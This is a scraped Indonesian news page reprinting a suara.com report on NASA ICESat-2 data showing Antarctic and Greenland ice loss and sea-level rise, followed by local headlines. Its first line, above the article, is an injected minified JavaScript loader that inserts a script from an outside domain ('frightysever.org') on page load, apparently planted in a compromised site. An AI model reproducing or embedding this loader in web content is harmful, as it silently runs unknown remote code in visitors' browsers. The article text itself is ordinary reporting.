(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Efek Pemanasan Global? Es Antartika dan Greenland Terus Meleleh


KANALKALIMANTAN.COM – Foto satelit terbaru yang dirilis baru-baru ini memperlihatkan es Antartika dan Greenland yang terus meleleh seiring berjalannya waktu. Tidak bisa dianggap remeh, penampakan di foto satelit ini jelas saja menunjukkan ancaman serius yang segera dihadapi Bumi.

Pada foto yang diunggah NASA dengan teknologi khusus, tergambar jelas bagaimana hilangnya es di Antartika dan Greenland selama 16 tahun.

Nampak jelas bahwa es di Antartika dan Greenland mencair dengan cepat di beberapa pesisir di wilayah tersebut. Dalam foto, hal ini ditandai dengan warna merah dan ungu.

Sedangkan kenaikan massa es yang lebih besar ditandai dengan warna biru muda di bagian daratan. Kedua hal ini tergambar jelas dalam foto yang dirilis NASA.

Mengutip Live Science, lapisan es Greenland dilaporkan kehilangan sebanyak 200 gigaton es per tahun. Sedangkan lapisan es Antartika kehilangan 118 gigaton per tahun.

Peta mencairnya es di Antartika dan Greenland. (Smith et al/Science)

Seperti yang diketahui, satu gigaton es sudah sangat cukup untuk mengisi total 400.000 kolam renang berukuran Olimpiade. Bisa dibayangkan efek besar apa yang dapat ditimbulkan dari mencairnya es ini?

Sejarah mencatat, mencairnya es di Antartika dan Greenland jelas saja berpengaruh pada kenaikan permukaan air laut sebanyak total 0.55 inci atau setara dengan 14 milimeter sepanjang tahun 2003 hingga 2019.

Jika air laut semakin naik, maka akan menjadi ancaman serius bagi orang-orang yang tinggal di daerah pesisir. Kehilangan rumah hingga kehilangan mata pencaharian bisa saja terjadi di masa mendatang.

Berdasarkan data satelit ICESat-2 NASA yang diluncurkan pada 2018 untuk memantau perubahan ketinggian es di seluruh dunia terungkap bahwa ketinggian es tahun 2019 mengalami pengurangan yang cukup banyak jika dibandingkan dengan tahun 2003.

Peta mencairnya es di Antartika dan Greenland. (Smith et al/Science)

Data yang diungkap ini juga menjelaskan bahwa es di Antartika dan Greenland mengalami pengurangan yang cukup banyak dari masa ke masa.

Ilmuwan menjelaskan bahwa saat es-es ini mencair dan menipis maka es yang membeku di daratan juga akan ikut menipis dan meleleh seiring berjalannya waktu.

Lebih lanjut, ilmuwan mengajak untuk memikirkan berbagai cara agar es di Antartika dan Greenland ini tidak lagi mencair akibat pemanasana global yang lalu memberikan resiko pada kenaikan air laut. (suara.com)

Reporter : suara.com
Editor : kk

 


Al Ghifari

Recent Posts

Dilakban di Paha, Empat Orang di Bandara Juwata Tarakan Selundupkan 4 Kg Sabu

KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More

4 jam ago

Satgas TMMD Bikin Sumur Bor untuk Warga Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More

6 jam ago

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

9 jam ago

Embarkasi Banjarmasin Berangkatkan 5.759 JCH Kalsel-Kalteng, Pelayanan Penuh Jemaah Lansia

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More

10 jam ago

Caleg Terpilih Tak Harus Mundur Jika Maju Pilkada, Begini Penjelasan Ketua KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More

11 jam ago

Lepas Keberangkatan 320 Calon Haji, Ini Pesan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More

12 jam ago

This website uses cookies.